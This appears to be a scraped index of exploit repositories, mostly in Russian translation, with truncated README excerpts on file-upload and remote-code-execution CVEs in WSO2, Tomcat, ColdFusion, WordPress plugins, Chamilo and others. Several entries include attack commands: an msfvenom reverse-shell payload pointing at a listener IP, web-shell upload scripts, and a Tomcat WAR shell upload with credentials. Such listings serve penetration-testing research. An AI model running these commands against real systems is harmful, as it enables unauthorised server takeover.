CVE-2022-29464

CVE-2022-29464 Эксплойт и writeup для WSO2 RCE CVE-2022-29464. Подробности CVE-2022-29464 — это критическая уязвимость в WSO2, обнаруженная Orange Tsai. Уязвимость представляет собой неаутентифицированную неограниченную загрузку произвольных файлов, которая позволяет неаутентифицированным атакующ...

warsend

WARSend Apache Tomcat Manager API WAR 쉘 업로드 사전 요구 사항 자격 증명 Tomcat Manager에 대한 Text API 액세스 $ ./warsend.sh 10.10.14.232 8090 10.10.10.184 8080 tomcat $3cureP4s5w0rd! revshell | | / / | / / / / / | | /| / / /| | / // /\ / / / / | |/ |/ / |/ , // / / / / / // / |/|// |// ||//// //,/ Created By...

Better-CVE-2022-29464

Better CVE-2022-29464 Некоторые продукты WSO2 допускают неограниченную загрузку файлов, приводящую к удаленному выполнению кода. Атакующий должен использовать конечную точку /fileupload с последовательностью обхода каталогов в Content-Disposition, чтобы достичь каталога внутри веб-корня, например...

CVE-2024-34452

CVE-2024-34452 - Уязвимость межсайтового скриптинга XSS в CMSimpleXH Обзор Уязвимость межсайтового скриптинга XSS была обнаружена в CMSimpleXH версии 1.7.6. Эта уязвимость позволяет авторизованным пользователям загружать SVG-файлы, содержащие вредоносный код JavaScript. Проблема возникает из-за...

CVE-2025-29017

CVE-2025-29017 - Удаленное выполнение кода в Internet Banking System 2.0.0 через загрузку аватара Описание Уязвимость удаленного выполнения кода RCE существует в Code Astro Internet Banking System 2.0.0 из-за некорректной проверки загрузки файлов в параметре profilepic в pagesviewclient.php...

CVE-2021-40845

CVE-2021-40845 I. УЯЗВИМОСТЬ AlphaWeb XE — небезопасная загрузка файлов с аутентификацией, приводящая к RCE II. ССЫЛКА CVE CVE-2021-40845 III. ПРОИЗВОДИТЕЛЬ https://www.zenitel.com/ IV. ОПИСАНИЕ Веб-часть Zenitel AlphaCom XE Audio Server до версии 11.2.3.10, называемая AlphaWeb XE, не ограничивае...

CVE-2023-41425-wonderCMS_RCE

CVE-2023-41425-wonderCMSRCE Уязвимость межсайтового скриптинга Cross Site Scripting в Wonder CMS v.3.2.0–v.3.4.2 позволяет удалённому злоумышленнику выполнить произвольный код с помощью специально созданного скрипта, загружаемого в компонент installModule. Только в образовательных целях Требуется...

CVE-2022-29464

WSO2: Произвольная загрузка файлов, приводящая к удаленному выполнению команд RCE https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738 Пример python3 exploit.py https://target.org:9443 shell.jsp...

CVE-2023-50164

CVE-2023-50164 Утилита для сканирования и PoC для CVE-2023-50164 Соображения Эксплуатация CVE-2023-50164 сильно зависит от среды. Данный PoC пытается обобщить процесс эксплуатации, требуя от пользователя ввода специфичных для среды деталей через флаги скрипта. Скрипт пытается загрузить безвредный...

Check-WP-CVE-2020-35489

Check-WP-CVE-2020-35489 CVE-2020-35489 Уязвимость CVE-2020-35489 обнаружена в плагине WordPress Contact Form 7 версии 5.3.1 и более старых. Эксплуатируя эту уязвимость, злоумышленники могут просто загружать файлы любого типа, обходя все ограничения, установленные в отношении разрешенных типов...

fuxploider

fuxploider Fuxploider is an open source penetration testing tool that automates the process of detecting and exploiting file upload forms flaws. This tool is able to detect the file types allowed to be uploaded and is able to detect which technique will work best to upload web shells or any...

fuxploider

fuxploider Fuxploider est un outil de test de pénétration open source qui automatise le processus de détection et d'exploitation des failles de formulaires de téléchargement de fichiers. Cet outil est capable de détecter les types de fichiers autorisés à être téléchargés et de déterminer la...

CVE-2019-8942

CVE-2019-8942 и CVE-2019-8943: WordPress RCE привилегии автора Обзор CVE-2019-8942 — это уязвимость, использующая ошибку LFI в сочетании с функцией загрузки файлов для выполнения RCE на веб-сервере WordPress с правами автора. Затронутые версии WordPress — до 4.9.9 и 5.x до 5.0.1, что позволяет...

CVE-2025-64512

Make sure to fill the parameter i.e Target and Uploaddir. Target 및 Uploaddir 매개변수를 반드시 입력하세요...

CVE-2023-4226

🛠️ Эксплуатация CVE-2023-4226 для Chamilo LMS 📋 Описание Скрипт на Python, автоматизирующий эксплуатацию CVE-2023-4226 — уязвимости неограниченной загрузки файлов в Chamilo LMS = v1.11.24. Загружает PHP-вебшелл на основе PentesterMonkey и настраивает .htaccess для получения reverse shell...

CVE-2024-22263_Scanner

CVE-2024-22263Scanner Только для этического использования. Любые вредоносные или злонамеренные действия запрещены. И это ваша собственная ответственность. CVE-2024-22263: Произвольная запись файлов в Spring Cloud Dataflow Использование ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗ ██████...

CVE-2025-64095---DNN-Unauthenticated-arbitrary-file-upload

CVE-2025-64095---DNN-Неаутентифицированная-произвольная-загрузка-файлов POC недостаточного контроля доступа DNN — загрузка изображений позволяет перезаписывать содержимое сайта Я простой человек: вижу cvss:10/10 — захожу xD Я увидел эту новую CVE-2025-64095: недостаточный контроль доступа DNN —...

CVE-2009-2265

Версия: ColdFusion 8.0.1 CVE-2009-2265 msfvenom -p java/jspshellreversetcp LHOST=10.10.14.12 LPORT=4444 -f raw shell.jsp python upload.py 10.10.10.11 8500 shell.jsp Пример :...

CVE-2024-43160

Wordpress BerqWP = 1.7.6 - Неаутентифицированная произвольная загрузка файлов CVE-2024-43160 Плагин BerqWP – Automated All-In-One PageSpeed Optimization Plugin for Core Web Vitals, Cache, CDN, Images, CSS, and JavaScript для WordPress уязвим к произвольной загрузке файлов из-за отсутствия проверк...

CVE-2019-11447-POC

sadnews CuteNews 2.1.2 — CVE-2019-11447 Доказательство концепции POC от CRFSlick, обнаружен AkkuS Была обнаружена проблема в CutePHP CuteNews 2.1.2. Злоумышленник может проникнуть на сервер через процесс загрузки аватара в области профиля, используя поле avatarfile для...